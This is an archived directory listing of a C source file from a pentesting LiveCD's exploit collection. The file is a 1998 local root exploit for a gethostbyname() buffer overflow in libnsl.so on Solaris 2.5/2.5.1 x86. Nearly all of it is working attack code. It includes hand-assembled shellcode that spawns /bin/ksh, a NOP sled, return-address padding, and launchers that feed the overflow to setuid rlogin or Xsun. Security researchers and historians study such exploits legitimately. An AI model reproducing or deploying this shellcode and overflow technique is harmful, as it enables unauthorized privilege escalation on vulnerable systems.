home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / libnsl.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  3.1 KB  |  82 lines
  1. /*## copyright LAST STAGE OF DELIRIUM apr 1998 poland        *://lsd-pl.net/ #*/
  2. /*## libnsl.so gethostbyname()                                               #*/
  3.  
  4. unsigned int ADRNUM[2]={  6912,  2000};
  5. unsigned int NOPNUM[2]={  1254,  1500};
  6. unsigned int PCHNUM[2]={    88,     0};
  7. unsigned int ALLIGN[2]={     0,     1};
  8. unsigned int ADROFS[2]={  3000, 10500};
  9. unsigned int PCHOFS[2]={ 10000,    10};
  10. unsigned char *SBUF[2]={"NSAP","LANS"};
  11.  
  12. char shellcode[]=
  13.     "\xeb\x1b"             /* jmp     <shellcode+30>       */
  14.     "\x33\xd2"             /* xorl    %edx,%edx            */
  15.     "\x58"                 /* popl    %eax                 */
  16.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi       */
  17.     "\x52"                 /* pushl   %edx                 */
  18.     "\x57"                 /* pushl   %edi                 */
  19.     "\x50"                 /* pushl   %eax                 */
  20.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  21.     "\x92"                 /* xchgl   %eax,%edx            */
  22.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  23.     "\x88\x42\x08"         /* movb    %al,0x8(%edx)        */
  24.     "\x83\xef\x3c"         /* subl    $0x3c,%edi           */
  25.     "\xb0\x9a"             /* movb    $0x9a,%al            */
  26.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  27.     "\x47"                 /* incl    %edi                 */
  28.     "\xb0\x07"             /* movb    $0x7,%al             */
  29.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  30.     "\xb0\x3b"             /* movb    $0x3b,%al            */
  31.     "\xe8\xe0\xff\xff\xff" /* call    <shellcode+2>        */
  32.     "/bin/ksh"
  33. ;
  34.  
  35. char jump[]=
  36.     "\x8b\xc4"             /* movl    %esp,%eax            */
  37.     "\xc3"                 /* ret                          */
  38. ;
  39.  
  40. main(int argc,char **argv){
  41.     char buffer[20000],adr[4],pch[4],*b,*o; 
  42.     int i,n=-1;
  43.  
  44.     printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland  //lsd-pl.net/\n");
  45.     printf("libnsl.so gethostbyname() for solaris 2.5 2.5.1 x86\n\n");
  46.  
  47.     if(argc==1){
  48.         printf("usage: %s {rlogin|Xsun}\n",argv[0]); 
  49.         exit(-1);
  50.     }
  51.     if(!strcmp(argv[1],"rlogin")) n=0;
  52.     if(!strcmp(argv[1],"Xsun")) n=1;
  53.     if(n==-1) exit(-1);
  54.  
  55.     b=buffer;
  56.     o=SBUF[n];
  57.     while(*o!=0){
  58.         switch(*o++){
  59.         case 'N':
  60.             for(i=0;i<NOPNUM[n];i++) *b++=0x90; 
  61.             break;
  62.         case 'A':
  63.             *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+ADROFS[n];
  64.             for(i=0;i<ADRNUM[n];i++) *b++=adr[i%4]; 
  65.             break;
  66.         case 'P':
  67.             *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+PCHOFS[n];
  68.             for(i=0;i<PCHNUM[n];i++) *b++=pch[i%4]; 
  69.             break;
  70.         case 'L':
  71.             for(i=0;i<ALLIGN[n];i++) *b++=0x33; 
  72.             break;
  73.         case 'S':
  74.             for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  75.         }
  76.     }
  77.     switch(n){
  78.     case 0: execl("/usr/bin/rlogin","rlogin",buffer,0);
  79.     case 1: execl("/usr/openwin/bin/Xsun","Xsun","-indirect",buffer,0);
  80.     }
  81. }
  82. /*                    www.hack.co.za           [10 August 2000]*/